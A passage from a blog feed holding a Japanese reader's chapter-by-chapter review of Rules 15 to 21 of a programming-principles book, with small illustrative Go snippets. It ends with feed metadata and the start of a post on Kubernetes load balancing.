ていくことが、ソフトウェアエンジニアとしての成長につながると確信しています。Rule 15. Pull the Weeds第15章「Pull the Weeds」は、コードベースの健全性維持に関する重要な原則を提示しています。著者は、小さな問題や不整合を「雑草」に例え、それらを放置せずに定期的に除去することの重要性を強調しています。この章を通じて、コードの品質維持がソフトウェア開発プロセス全体にどのように影響するか、そして日々の開発作業の中でどのようにこの原則を実践すべきかが明確に示されています。Tidy First?: A Personal Exercise in Empirical Software Design (English Edition)作者:Beck, KentO\'Reilly MediaAmazon雑草とは何か著者は、Animal Crossingというゲームの雑草除去の例を用いて、コードの「雑草」の概念を説明しています。この比喩は的確で、私自身、長年のソフトウェア開発経験を通じて、まさにこのような「雑草」の蓄積がプロジェクトの進行を妨げる様子を何度も目の当たりにしてきました。著者が定義する「雑草」は、修正が容易で、放置しても大きな問題にはならないが、蓄積すると全体の品質を低下させる小さな問題です。具体的には、コメントの誤字脱字、命名規則の不一致、フォーマットの乱れなどが挙げられています。この定義は重要で、多くの開発者が見落としがちな点だと感じます。例えば、以前私が参画していた大規模プロジェクトでは、コーディング規約の軽微な違反を「些細な問題」として放置していました。結果として、コードの一貫性が失われ、新規メンバーの学習コストが増大し、最終的にはプロジェクト全体の生産性低下につながりました。雑草の除去著者は、雑草の除去プロセスを段階的に示しています。最初に、明らかな誤りや不整合を修正し、次に命名規則やフォーマットの統一を行います。この段階的アプローチは実践的で、日々の開発作業に組み込みやすいと感じました。例えば、著者が示したC++のコード例では、関数名の変更(エクスポートするための大文字化)、変数名の明確化、コメントの追加と修正、フォーマットの統一などが行われています。これらの変更は、コードの機能自体には影響を与えませんが、可読性と保守性を大きく向上させます。雑草の特定著者は、ある問題が「雑草」であるかどうかを判断する基準として、修正の安全性を挙げています。コメントの修正や命名規則の統一など、機能に影響を与えない変更は安全に行えるため、「雑草」として扱うべきだと主張しています。この考え方は、現代のソフトウェア開発プラクティス、特に継続的インテグレーション(CI)と継続的デリバリー(CD)の文脈で重要です。例えば、私のチームでは、linterやフォーマッターをCIパイプラインに組み込むことで、多くの「雑草」を自動的に検出し、修正しています。これにより、人間の判断が必要な、より重要な問題に集中できるようになりました。コードが雑草だらけになる理由著者は、多くのプロジェクトで「雑草」が放置される理由について深く掘り下げています。時間の制約、優先順位の問題、チーム内での認識の違いなど、様々な要因が挙げられています。この分析は的確で、私自身も同様の経験があります。特に印象に残っているのは、あるプロジェクトでチーム全体が「完璧主義に陥らないこと」を重視するあまり、小さな問題を軽視する文化が生まれてしまったことです。結果として、コードの品質が徐々に低下し、最終的には大規模なリファクタリングが必要になりました。まとめ著者は、「雑草を抜く」ことの重要性を強調して章を締めくくっています。小さな問題を放置せず、定期的に対処することが、長期的にはプロジェクトの健全性を維持する上で重要だと主張しています。この主張には強く共感します。私の経験上、コードの品質維持は継続的な取り組みが必要で、一度に大規模な修正を行うよりも、日々の小さな改善の積み重ねの方が効果的です。例えば、私のチームでは「雑草抜きの金曜日」という取り組みを始めました。毎週金曜日の午後2時間を、コードベースの小さな改善に充てるのです。この取り組みにより、コードの品質が向上しただけでなく、チームメンバー全員がコードベース全体に対する理解を深めることができました。最後に、著者の「最も経験豊富なチームメンバーが雑草抜きの先頭に立つべき」という提案は、重要なポイントだと感じます。ベテラン開発者が率先して小さな問題に対処することで、その重要性をチーム全体に示すことができます。また、そのプロセスを通じて、若手開発者に暗黙知を伝えることもできるのです。この章から学んだ最も重要な教訓は、コードの品質維持は日々の小さな努力の積み重ねであるということです。「雑草を抜く」という単純な行為が、長期的にはプロジェクトの成功につながるのです。この原則を常に意識し、実践することで、より健全で生産性の高い開発環境を維持できると確信しています。Rule 16. Work Backward from Your Result, Not Forward from Your Code第16章「Work Backward from Your Result, Not Forward from Your Code」は、ソフトウェア開発における問題解決アプローチの根本的な転換を提案しています。著者は、既存のコードや技術から出発するのではなく、望む結果から逆算してソリューションを構築することの重要性を説いています。この原則は、言語や技術に関わらず適用可能ですが、ここではGolangの文脈でも考察を加えていきます。イシューからはじめよ[改訂版]――知的生産の「シンプルな本質」作者:安宅和人英治出版Amazonプログラミングは橋を架ける行為著者はプログラミングを、既存のコードと解決したい問題の間に「橋を架ける」行為に例えています。この比喩は示唆に富んでいます。日々の開発作業を振り返ると、確かに我々は常に既知の技術と未知の問題の間を行き来しているように感じます。しかし、著者が指摘するように、多くの場合我々は「コードの側」に立って問題を見ています。つまり、手持ちの技術やライブラリの視点から問題を捉えようとしがちなのです。これは、ある意味で自然な傾向かもしれません。既知の領域から未知の領域に進むのは、心理的にも安全に感じられるからです。既存のコードの視点で捉える危険性著者は、この「コードの側」から問題を見るアプローチの危険性を指摘しています。この指摘は重要で、私自身も頻繁に陥りがちな罠だと感じています。例えば、設定ファイルの解析という問題に直面したとき、多くの開発者はすぐにJSONやYAMLといった既存のフォーマットを思い浮かべるでしょう。そして、それらを解析するための既存のライブラリを探し始めます。これは一見効率的に見えますが、実際には問題の本質を見失うリスクがあります。設定ファイルの真の目的は何でしょうか?それは、アプリケーションの動作を柔軟に調整することです。しかし、既存のフォーマットやライブラリに頼りすぎると、その本質的な目的よりも、特定のフォーマットの制約に縛られてしまう可能性があります。結果から逆算するアプローチ著者が提案する「結果から逆算する」アプローチは、この問題に対する解決策です。まず、理想的な設定の使用方法を想像し、そこから逆算して実装を考えるのです。例えば、設定ファイルの問題に対して、以下のような理想的な使用方法を想像できるでしょう:設定値へのアクセスが型安全であるデフォルト値が簡単に設定できる環境変数からの上書きが容易である設定値の変更を検知できるこのような理想的な使用方法を定義してから実装を始めることで、より使いやすく、保守性の高い設定システムを設計できる可能性が高まります。型安全性と抽象化著者は、型安全性と適切な抽象化の重要性も強調しています。これは特にGolangのような静的型付け言語で重要です。例えば、設定値に対して単純な文字列や数値の型を使うのではなく、それぞれの設定値の意味や制約を表現する独自の型を定義することが考えられます。これにより、コンパイル時のエラーチェックが可能になり、実行時のエラーを減らすことができます。まとめ著者は、既存の技術から前進するアプローチと、望む結果から後退するアプローチの両方を探求しています。どちらか一方だけが正しいわけではなく、状況に応じて適切なアプローチを選択することが重要です。この章から学んだ最も重要な教訓は、問題解決の際には、まず望む結果を明確にし、そこから逆算してソリューションを構築するということです。これは、単にコーディングスキルの向上だけでなく、システム設計全体の質を向上させる可能性を秘めています。今後の開発では、新しい機能やシステムの設計時に、まず「理想的な使用方法」を考え、そこから実装を逆算していく習慣を身につけていきたいと思います。特に、インターフェースを活用した目的志向の抽象化を行うことで、より柔軟で拡張性の高いコードを書けるはずです。この原則を意識することで、単に既存の技術を組み合わせるだけでなく、本当に問題を解決するソリューションを生み出せる可能性が高まります。それは、より優れたソフトウェア、そしてより満足度の高いユーザー体験につながるはずです。Rule 17. Sometimes the Bigger Problem Is Easier to Solve第17章「Sometimes the Bigger Problem Is Easier to Solve」は、問題解決のアプローチに新たな視点を提供しています。この章では、一見複雑に見える問題に対して、より大きな視点から取り組むことで、意外にもシンプルな解決策を見出せる可能性があることを説いています。解像度を上げる――曖昧な思考を明晰にする「深さ・広さ・構造・時間」の4視点と行動法作者:馬田隆明英治出版Amazon問題の規模と複雑さの関係著者は、プログラマーがしばしば直面する困難な状況として、特定の問題に対する解決策を見出そうとするものの、その問題自体が複雑すぎて手に負えないように感じられるケースを挙げています。これは、多くの開発者が経験したことのある状況だと思います。私自身も、マイクロサービスアーキテクチャの設計や分散システムのデータ同期など、一見すると複雑な問題に直面し、途方に暮れた経験があります。しかし、著者が提案するアプローチは、このような状況で有効です。問題の規模を拡大し、より一般的な視点から捉え直すことで、意外にもシンプルな解決策が見つかることがあるというのです。これは、森を見るために木から離れる必要があるという格言を思い起こさせます。この原則は、日々の開発業務においても有用です。例えば、あるマイクロサービスの特定のエンドポイントのパフォーマンス最適化に苦心している場合、その個別の問題に固執するのではなく、サービス全体のアーキテクチャを見直すことで、より効果的な解決策が見つかることがあります。抽象化と一般化の重要性著者の主張する「より大きな問題を解決する」アプローチは、多くのプログラミング言語や開発手法の設計哲学とも相性が良いと感じます。インターフェースを通じた抽象化や、ジェネリクスを用いた一般化などの機能は、まさにこの原則を実践するのに適しています。例えば、複数のデータソースから情報を取得し、それを集約して処理するという問題を考えてみましょう。最初のアプローチでは、各データソースに対して個別の処理を書き、それぞれの結果を手動で集約しようとするかもしれません。しかし、問題をより大きな視点から捉え直すと、これらのデータソースを抽象化し、共通のインターフェースを通じてアクセスするという解決策が浮かび上がります。このアプローチでは、個々のデータソースの詳細を抽象化し、より一般的な問題(複数のデータソースからのデータ取得と集約)に焦点を当てています。結果として、コードはより簡潔になり、新しいデータソースの追加も容易になります。実務での適用私の経験では、あるプロジェクトで複数のマイクロサービス間のデータ整合性の問題に直面したことがあります。当初は各サービス間の個別の同期メカニズムの実装に注力していましたが、問題を大きく捉え直すことで、イベントソーシングパターンを採用するという解決策にたどり着きました。これにより、個別の同期ロジックの複雑さを大幅に軽減し、システム全体の一貫性と拡張性を向上させることができました。このアプローチは、単にコードレベルの問題だけでなく、システム設計全体にも適用できます。例えば、複雑なビジネスロジックを持つアプリケーションの開発において、個々の機能ごとに独立したモジュールを作成するのではなく、最小限のクリーンアーキテクチャを採用することで、より一貫性のあるシステム設計が可能になることがあります。これにより、ビジネスロジックとインフラストラクチャの関心事を分離しつつ、過度に複雑化することなくシステムの構造を整理できます。批判的考察著者の提案するアプローチは魅力的ですが、いくつかの注意点も考慮する必要があります。まず、問題を大きく捉え過ぎると、実装が過度に一般化され、具体的なユースケースに対する最適化が困難になる可能性があります。また、チームのスキルセットや既存のコードベースとの整合性など、実務的な制約も考慮する必要があります。例えば、データソースの抽象化の例で、過度に抽象化されたインターフェースを導入することで、個々のデータソースの特性を活かした最適化が難しくなる可能性があります。このような場合、抽象化のレベルをどこに設定するかは慎重に検討する必要があります。また、大きな問題を解決するアプローチを採用する際は、チーム全体の理解と合意が必要です。個々の開発者が局所的な最適化に注力している状況で、突然大規模な設計変更を提案すると、チームの混乱を招く可能性があります。そのため、このアプローチを採用する際は、十分なコミュニケーションとチーム全体の理解が不可欠です。まとめ「Sometimes the Bigger Problem Is Easier to Solve」という原則は、ソフトウェア開発において有用な視点を提供しています。複雑な問題に直面したとき、その問題自体に固執するのではなく、一歩引いて大局的な視点から捉え直すことで、より簡潔で汎用的な解決策を見出せる可能性があります。この原則を適用することで、個別の問題に対する局所的な解決策ではなく、システム全体の設計と一貫性を改善するチャンスが得られます。これは、長期的にはコードの保守性や拡張性の向上につながり、プロジェクト全体の健全性に貢献します。しかし、この原則を適用する際は、具体的なユースケースとのバランスを常に意識する必要があります。過度の一般化は避け、プロジェクトの要件や制約を十分に考慮した上で、適切な抽象化のレベルを選択することが重要です。最後に、この原則は単にコーディングの技術だけでなく、問題解決のアプローチ全般に適用できる重要な考え方です。ソフトウェア開発者として、常に大局的な視点を持ち、問題の本質を見極める努力を続けることが、より効果的で持続可能なソリューションの創出につながるのです。この章から学んだ最も重要な教訓は、複雑な問題に直面したときこそ、一歩引いて大きな視点から問題を捉え直す勇気を持つことです。それによって、思いもよらなかったシンプルで効果的な解決策が見つかることがあります。この姿勢は、日々の開発作業から大規模なシステム設計まで、あらゆる場面で活用できる貴重な思考法だと言えるでしょう。Rule 18. Let Your Code Tell Its Own Story第18章「Let Your Code Tell Its Own Story」は、コードの可読性と自己説明性に焦点を当てています。この章を通じて、著者は良いコードが自らの物語を語るべきだという重要な原則を提示しています。コードの可読性が高まると、開発効率が向上し、バグの発見も容易になります。この原則は、言語や技術に関わらず適用可能ですが、ここではGolangの文脈でも考察を加えていきます。リーダブルコード ―より良いコードを書くためのシンプルで実践的なテクニック (Theory in practice)作者:Dustin Boswell,Trevor FoucherオライリージャパンAmazonコードの可読性の重要性著者は、コードの可読性を向上させることの重要性を強調しています。これは、私たちがコードを書く時間よりも読む時間の方が圧倒的に長いという現実を考えると、重要な指摘です。特に、チーム開発やオープンソースプロジェクトでは、他の開発者がコードを理解しやすいかどうかが、プロジェクトの成功を左右する重要な要因となります。私自身、過去のプロジェクトで、可読性の低いコードに悩まされた経験があります。例えば、ある大規模なマイクロサービスプロジェクトでは、各サービスの責任範囲が明確でなく、コードの意図を理解するのに多大な時間を要しました。この経験から、コードの自己説明性の重要性を痛感しました。コメントの役割と落とし穴著者は、コメントの重要性を認めつつも、その使用には注意が必要だと指摘しています。特に、誤ったコメントや古くなったコメントが、コードの理解を妨げる可能性があることを強調しています。この点は、日々の開発でよく遭遇する問題です。例えば、以前参画していたプロジェクトでは、コメントとコードの内容が一致しておらず、デバッグに多大な時間を要したことがありました。この経験から、コメントは最小限に抑え、コード自体が意図を明確に表現するよう心がけるべきだと学びました。Golangの文脈では、言語自体が読みやすさを重視しているため、過度なコメントは逆効果になる可能性があります。例えば、以下のようなコードは、コメントなしでも十分に意図が伝わります:func isEven(num int) bool { return num%2 == 0}このような単純な関数に対してコメントを追加するのは、かえって可読性を下げる可能性があります。命名の重要性著者は、適切な命名の重要性を強調しています。これは、コードの自己説明性を高める上で最も重要な要素の一つです。私の経験上、適切な命名は、コードレビューの効率を大幅に向上させます。例えば、あるプロジェクトでは、変数名や関数名の命名規則を厳格に定め、チーム全体で遵守しました。その結果、コードの理解とレビューにかかる時間が大幅に削減されました。Golangでは、命名規則が言語仕様の一部として定義されています。例えば、パッケージ外からアクセス可能な識別子は大文字で始める必要があります。これにより、コードの意図がより明確になります:type User struct { ID int // パッケージ外からアクセス可能 name string // パッケージ内でのみアクセス可能}コードの構造化と整形著者は、コードの構造化と整形の重要性についても言及しています。適切に構造化されたコードは、読み手にとって理解しやすくなります。この点について、Golangはgofmtというツールを提供しており、コードの自動整形を行うことができます。これにより、チーム全体で一貫したコードスタイルを維持することが容易になります。まとめ「Let Your Code Tell Its Own Story」という原則は、現代のソフトウェア開発において重要です。特に、チーム開発やオープンソースプロジェクトでは、コードの可読性と自己説明性が、プロジェクトの成功を左右する重要な要因となります。Golangの文脈では、言語自体が読みやすさと簡潔さを重視しているため、この原則を適用しやすい環境が整っていると言えます。しかし、それでも開発者の意識的な努力が必要です。最後に、この原則は単にコーディングスキルの向上だけでなく、チームのコミュニケーションの改善にもつながります。コードが自らの物語を語ることができれば、チームメンバー間の理解が深まり、結果としてプロジェクト全体の生産性が向上するでしょう。この章から学んだ最も重要な教訓は、コードは他の開発者(そして未来の自分)に向けて書くべきだということです。これは、日々の開発の中で常に意識し、実践していく必要があります。Rule 19. Rework in Parallel第19章「Rework in Parallel」は、大規模なコードベースの改修に関する重要な戦略を提示しています。著者は、並行して新旧のシステムを動作させることで、リスクを最小限に抑えつつ段階的に改修を進める方法を詳細に解説しています。この章を通じて、著者は大規模なリファクタリングや機能追加におけるベストプラクティスを示し、ソフトウェア開発の現場で直面する現実的な課題に対する洞察を提供しています。Go言語による並行処理作者:Katherine Cox-BudayオライリージャパンAmazon並行リワークの必要性著者は、大規模なコードベースの改修が必要となる状況から話を始めています。例えば、チームでの開発や、長期にわたるプロジェクトでは、単純な「チェックアウト→修正→コミット」のモデルでは対応しきれない場合があります。特に、他の開発者との協業が必要な場合や、改修作業が長期化する場合には、従来のブランチモデルでは様々な問題が発生する可能性があります。私自身、過去に大規模なマイクロサービスのリアーキテクチャプロジェクトに携わった際、長期間のブランチ作業による問題を経験しました。メインブランチとの統合が困難になり、結果として予定以上の時間とリソースを要してしまいました。著者の指摘する問題点は、現実のプロジェクトでも頻繁に発生する課題だと強く共感します。並行システムの構築著者が提案する解決策は、新旧のシステムを並行して動作させる「duplicate-and-switch」モデルです。この方法では、既存のシステムを変更する代わりに、並行システムを構築します。新システムは開発中でもメインブランチにコミットされますが、ランタイムスイッチによって制御され、最初は小規模なチームでのみ使用されます。このアプローチは、Kent Beckの「For each desired change, make the change easy (warning: this may be hard), then make the easy change」という格言を大規模プロジェクトに適用したものと言えます。私も以前、レガシーシステムの段階的な置き換えプロジェクトで類似のアプローチを採用しましたが、確かにリスクを抑えつつ改修を進められた経験があります。具体例:スタックベースのメモリアロケータ著者は、具体例としてスタックベースのメモリアロケータの改修を挙げています。この例は、低レベルのシステムコンポーネントの改修という点で興味深いものです。スタックベースのアロケーションは、高速で効率的なメモリ管理を可能にしますが、同時に複雑な課題も抱えています。著者が示した問題点、特に異なるスタックコンテキスト間での操作の困難さは、私が以前関わった分散システムのメモリ管理でも直面した課題です。この種の問題は、単純なリファクタリングでは解決が難しく、システム全体の再設計が必要になることがあります。並行リワークの実践著者は、並行リワークの実践方法を段階的に説明しています。特に印象的だったのは、以下の点です:新旧のシステムを切り替えるためのグローバルフラグの導入アダプタクラスを使用した新旧システムの橋渡し段階的な移行と継続的なテストこのアプローチは、リスクを最小限に抑えつつ大規模な変更を行うための優れた戦略だと感じました。私自身、似たようなアプローチを採用してデータベースシステムの移行を行った経験がありますが、確かに安全性と柔軟性の両立に効果的でした。並行リワークの適用タイミング著者は、並行リワークが常に最適な解決策ではないことも指摘しています。この戦略はオーバーヘッドを伴うため、適用するタイミングと状況を慎重に見極める必要があります。私見では、以下のような状況で並行リワークが特に有効だと考えます:長期的な大規模リファクタリングプロジェクトクリティカルなシステムコンポーネントの置き換え新旧システム間の段階的な移行が必要な場合一方で、小規模な変更や短期的なプロジェクトでは、従来のブランチモデルの方が適している場合もあります。まとめ「Rework in Parallel」の原則は、大規模なソフトウェア開発プロジェクトにおいて重要な戦略を提供しています。この手法を適切に適用することで、リスクを最小限に抑えつつ、大規模な改修や機能追加を実現できます。著者の提案するアプローチは、現代の開発環境、特にマイクロサービスアーキテクチャやクラウドネイティブ開発において有用です。例えば、新旧のサービスを並行して稼働させ、トラフィックを段階的に移行するような戦略は、この原則の自然な拡張と言えるでしょう。しかし、この手法を適用する際は、プロジェクトの規模や性質、チームの状況などを十分に考慮する必要があります。また、並行リワークを成功させるためには、強力な自動化テストやCI/CDパイプライン、モニタリングシステムなどの支援が不可欠です。個人的な経験を踏まえると、この手法は特に長期的な保守性と拡張性の向上に大きく貢献します。短期的には追加の労力が必要になりますが、長期的にはテクニカルデットの削減とシステムの健全性維持に大きく寄与すると確信しています。最後に、この章から学んだ最も重要な教訓は、大規模な変更を行う際は、リスクを分散させ、段階的にアプローチすることの重要性です。これは、日々の開発作業から大規模なシステム設計まで、あらゆる場面で活用できる貴重な思考法だと言えるでしょう。今後のプロジェクトでは、この原則を念頭に置きつつ、より安全で効果的な開発戦略を立案していきたいと考えています。Rule 20. Do the Math第20章「Do the Math」は、プログラミングにおける数学的思考の重要性を強調しています。著者は、多くのプログラミングの決定が定性的なものである一方で、数学的な分析が有効な場面も多々あることを指摘しています。この章を通じて、著者は単純な計算が問題解決のアプローチの妥当性を検証する上で、いかに重要であるかを具体的な例を挙げながら説明しています。問題解決のための「アルゴリズム\xd7数学」が基礎からしっかり身につく本作者:米田 優峻技術評論社Amazon自動化の判断著者は、タスクの自動化を例に挙げ、数学的思考の重要性を説明しています。自動化するかどうかの判断は、単純な数学の問題に帰着します。コードを書くのにかかる時間と、手動でタスクを繰り返す時間を比較し、前者の方が短ければ自動化する価値があるというわけです。この考え方は一見当たり前に思えますが、実際の開発現場ではこの単純な計算が軽視されがちです。私自身、過去のプロジェクトで、チームメンバーが十分な検討もなしに自動化に走り、結果として無駄な工数を費やしてしまった経験があります。著者の指摘する「自動化の判断」は、特にデプロイメントプロセスやテスト自動化の文脈で重要です。例えば、CI/CDパイプラインの構築を検討する際、その構築コストと、手動デプロイメントにかかる時間を比較検討することが重要です。ただし、この計算には定量化しづらい要素(例:人的ミスの削減、チームの士気向上)も含まれるため、純粋な数学だけでなく、総合的な判断が必要になります。ハードリミットの重要性著者は、問題空間や解決策におけるハードリミット(固定的な制約)の重要性を強調しています。ゲーム開発を例に、メモリ容量やネットワーク帯域幅などの制約が、設計プロセスにおいて重要な役割を果たすことを説明しています。この考え方は、ゲーム開発に限らず、多くのソフトウェア開発プロジェクトに適用できます。例えば、マイクロサービスアーキテクチャを採用する際、各サービスのリソース制限(CPU、メモリ、ネットワーク帯域)を明確に定義し、それに基づいてシステム設計を行うことが重要です。著者の提案する「ハードリミットの設定」は、特にパフォーマンスクリティカルなシステムの設計において有効です。例えば、高頻度取引システムの設計では、レイテンシの上限を明確に定義し、それを満たすようなアーキテクチャを検討することが重要です。数学の変化への対応著者は、要件の変更に伴い、数学的な計算も再評価する必要があることを指摘しています。これは、アジャイル開発の文脈で特に重要です。要件が頻繁に変更される環境では、定期的に数学的な再評価を行い、アプローチの妥当性を確認することが重要です。例えば、スケーラビリティを考慮したシステム設計において、想定ユーザー数や処理データ量が変更された場合、それに応じてインフラストラクチャのキャパシティプランニングを再計算する必要があります。定量的分析から定性的判断へ著者は、純粋な数学的アプローチだけでなく、定性的な要素も考慮することの重要性を強調しています。例えば、タスクの自動化において、時間の節約だけでなく、エラーの削減やチームの満足度向上といった定性的な要素も考慮に入れる必要があります。この考え方は、技術的負債の管理にも適用できます。リファクタリングの判断において、純粋なコスト計算だけでなく、コードの可読性向上やメンテナンス性の改善といった定性的な要素も考慮に入れる必要があります。まとめ「Do the Math」の原則は、ソフトウェア開発における意思決定プロセスに数学的思考を取り入れることの重要性を強調しています。この原則は、特に大規模で複雑なシステムの設計や、リソース制約のある環境での開発において有用です。著者の提案するアプローチは、現代の開発環境、特にクラウドネイティブ開発やマイクロサービスアーキテクチャにおいて重要です。リソースの最適化、コストの最小化、パフォーマンスの最大化といった課題に直面する際、数学的な分析は不可欠です。しかし、純粋な数学だけでなく、定性的な要素も考慮に入れることの重要性も忘れてはいけません。ソフトウェア開発は単なる数字の問題ではなく、人間の創造性や協力関係が重要な役割を果たす分野です。私自身の経験を踏まえると、この原則は特にパフォーマンスチューニングやシステム設計の場面で有用です。例えば、データベースのインデックス設計やキャッシュ戦略の検討において、数学的な分析は不可欠でした。同時に、チームの習熟度や保守性といった定性的な要素も考慮に入れることで、より良い意思決定ができました。最後に、この章から学んだ最も重要な教訓は、数学的思考と定性的判断のバランスを取ることの重要性です。純粋な数学だけでなく、プロジェクトの文脈や長期的な影響も考慮に入れた総合的な判断が、成功するソフトウェア開発の鍵となります。今後のプロジェクトでは、この原則を念頭に置きつつ、より良い意思決定のための枠組みを作っていきたいと考えています。Rule 21. Sometimes You Just Need to Hammer the Nails第21章「Sometimes You Just Need to Hammer the Nails」は、プログラミングにおける地道な作業の重要性を強調しています。著者は、創造的で知的な挑戦が多いプログラミングの世界でも、時には単純で退屈な作業が必要不可欠であることを説いています。この章を通じて、著者は「面倒な作業を避けない」ことの重要性と、それがソフトウェア開発プロジェクト全体にどのような影響を与えるかを明確に示しています。地道力[新版] 目先の追求だけでは、成功も幸せも得られない!作者:國分 利治PHP研究所Amazon本書の最後にこのような泥臭い作業の重要性を説くルールを紹介しているのは、この書籍の優れた点の一つだと言えるでしょう。この章は、プログラミングの現実的な側面を忘れずに、理想と実践のバランスを取ることの大切さを読者に印象づけています。プログラマーの三大美徳との関連この章の内容は、かつてよく知られていた「プログラマーの三大美徳」と密接に関連しています。これらの美徳は「怠慢」「短気」「傲慢」であり、一見ネガティブに聞こえますが、実際には優れたプログラマーの特質を表しています。怠慢:全体の労力を減らすために手間を惜しまない気質。例えば、繰り返し作業を自動化したり、再利用可能なコンポーネントを作成したりすることで、長期的な効率を向上させます。短気:コンピューターの非効率さに対する怒り。この特質は、現在の問題だけでなく、将来起こりうる問題も予測して対応しようとする姿勢につながります。傲慢:自分のコードに対する高い誇りと責任感。これは、保守性や可読性、柔軟性の高いコードを書こうとする姿勢に現れます。これらの美徳は、「Sometimes You Just Need to Hammer the Nails」の原則と補完的な関係にあります。地道な作業を避けないことは、長期的には「怠慢」な姿勢(良い意味で)につながり、「短気」な気質は将来の問題を予見して対処することを促します。そして、「傲慢」さは、たとえ退屈な作業であっても、高品質なコードを維持しようとする態度を支えます。地道な作業の必要性著者は、プログラミングの仕事には避けられない退屈な作業があることを指摘しています。これらの作業は魅力的ではなく、多くの開発者が積極的に取り組みたがらないものです。しかし、著者はこれらの作業を避けることの危険性を強調しています。大規模なリファクタリングプロジェクトでは、コードベース全体にわたる変更が必要で、その多くが単純で退屈な作業となることがあります。チームの中には、この作業を後回しにしたがる人もいますが、結果的にそれが技術的負債となり、プロジェクトの後半で大きな問題となる可能性があります。著者の指摘する「地道な作業を避けない」という原則は、特にレガシーシステムの保守や大規模なアーキテクチャ変更において重要です。例えば、古い認証システムから新しいOAuth2.0ベースのシステムへの移行を行う際、数百のAPIエンドポイントを一つずつ更新していく必要があるかもしれません。この作業は単調で退屈ですが、避けて通ることはできません。新しい引数の追加著者は、関数に新しい引数を追加する場合の例を挙げています。この状況では、既存のコードベース全体を更新する必要がありますが、多くの開発者はこの作業を避けたがります。著者は、デフォルト引数やオーバーロードを使用して作業を回避することの危険性を指摘しています。Golangの場合、デフォルト引数やオーバーロードがサポートされていないため、関数のシグネチャを変更する際は特に注意が必要です。例えば:// 変更前func findNearbyCharacters(point Point, maxDistance float64) []Character { // 実装}// 変更後func findNearbyCharacters(point Point, maxDistance float64, excludeCharacters []Character) []Character { // 実装}この変更は単純ですが、大規模なコードベースでは膨大な時間がかかる可能性があります。しかし、著者の指摘通り、この作業を避けることは長期的には問題を引き起こす可能性が高いです。バグの修正と波及効果著者は、一つのバグを修正した際に、同様のバグが他の箇所にも存在する可能性を指摘しています。これは重要な指摘で、セキュリティ問題などで特に注意が必要です。例えば、データベースクエリのSQLインジェクション脆弱性を発見した場合、同様の脆弱性が他の箇所にも存在する可能性を考え、コードベース全体を調査する必要があります。この調査と修正作業は退屈で時間がかかりますが、セキュリティ上重要です。自動化の誘惑著者は、退屈な作業に直面したときに、多くのプログラマーが自動化を試みる傾向があることを指摘しています。自動化は確かに強力ですが、それが本当に必要かどうかを冷静に判断することが重要です。例えば、コードフォーマットの問題に直面したとき、すぐにカスタムツールの開発に飛びつくのではなく、まず既存のツール(Goならgofmtやgoimports)を活用することを検討すべきです。ファイルサイズの管理著者は、ソースファイルが時間とともに大きくなっていく問題に言及しています。これは多くの開発者が経験する問題で、巨大なファイルはコードの理解を難しくします。Goの場合、パッケージレベルでの分割やインターフェースを活用したモジュール化が効果的な解決策となります。例えば:// main.gopackage mainimport ( \\"myapp/user\\" \\"myapp/order\\")func main() { // メイン処理}// user/user.gopackage usertype Service struct { // ユーザー関連の処理}// order/order.gopackage ordertype Service struct { // 注文関連の処理}このようなアプローチは、コードの管理を容易にし、チームの生産性を向上させます。まとめ「Sometimes You Just Need to Hammer the Nails」の原則は、ソフトウェア開発における地道な作業の重要性を強調しています。この原則は、特に大規模で長期的なプロジェクトにおいて重要です。プログラマーの三大美徳(怠慢、短気、傲慢)と組み合わせて考えると、この原則の重要性がより明確になります。地道な作業を避けないことは、長期的には効率を向上させ(怠慢)、将来の問題を予防し(短気)、高品質なコードを維持する(傲慢)ことにつながります。著者の提案するアプローチは、現代の開発環境、特にアジャイル開発やデブオプスの文脈で重要です。継続的インテグレーションや継続的デリバリーの実践において、小さな改善や修正を積み重ねることの重要性は増しています。しかし、ただ単に退屈な作業をこなすだけでは不十分です。重要なのは、これらの作業がプロジェクト全体にどのような影響を与えるかを理解し、戦略的に取り組むことです。例えば、レガシーコードの段階的な改善や、技術的負債の計画的な返済などが考えられます。この原則は特にチーム全体の文化と密接に関連しています。「退屈な作業も重要だ」という認識をチーム全体で共有し、それを評価する文化を築くことが、長期的には大きな差を生みます。例えば、週に1日を「技術的負債の返済日」として設定し、チーム全体でリファクタリングや文書化、テストカバレッジの向上などに取り組むことで、長期的にはコードの品質向上と開発速度の維持につながります。最後に、この章から学んだ最も重要な教訓は、短期的な不快感と長期的な利益のバランスを取ることの重要性です。退屈な作業を避けることで得られる一時的な快感よりも、それを適切に行うことで得られる長期的な利益の方がはるかに大きいのです。今後のプロジェクトでは、この原則を念頭に置きつつ、チーム全体で地道な作業の重要性を認識し、それを効果的に進める方法を模索していくことが重要です。おわりに本書は、長年のゲーム開発経験から抽出された貴重な知恵の宝庫です。本書で提示された21のルールは、プログラミングの技術的側面だけでなく、ソフトウェア開発のプロセス全体に適用できる普遍的な価値を持っています。しかし、著者が強調しているように、これらのルールを鵜呑みにするのではなく、批判的に考え、自身の環境に適応させることが重要です。技術の進歩や開発手法の変化に伴い、プログラミングの原則も進化していく必要があります。本書を読んで、私は自身のコーディング習慣や設計アプローチを見直すきっかけを得ました。同時に、チーム全体でこれらの原則について議論し、共通の理解を築くことの重要性を再認識しました。最後に、本書はプログラミングの技術書であると同時に、ソフトウェア開発の哲学書でもあります。単に「どのようにコードを書くか」だけでなく、「なぜそのようにコードを書くべきか」について深く考えさせられます。この本は、経験レベルに関わらず、すべてのプログラマーにとって価値ある一冊だと確信しています。今後も、この本で学んだ原則を実践しながら、自身の経験を通じてさらに理解を深めていきたいと思います。エンジニアはソフトスキルよりもハードスキルを磨くべきであり、昔読んだリーダブルコードばかり紹介せずに、新しい知見を学び続けることが重要です。常に進化する技術に対応するため、新しい知識を積極的に吸収していく姿勢が必要不可欠だと考えています。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","link":"https://syu-m-5151.hatenablog.com/entry/2024/09/15/151738","isoDate":"2024-09-15T06:17:38.000Z","dateMiliSeconds":1726381058000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Platform Engineering の視点から考える、Kubernetes Load Balancing の比較","contentSnippet":"自己紹介 井上 裕介 千葉工業大学 情報科学部 情報工学科 学部4年の井上裕介と申します。大学では主に遺伝的アルゴリズムの改良に関する研究を行っています。2023年のサマーインターンから引き続きSreake事業部にて技術 […]The post Platform Engineering の視点から考える、Kubernetes Load Balancing の比較 first appeared on sreake.com | 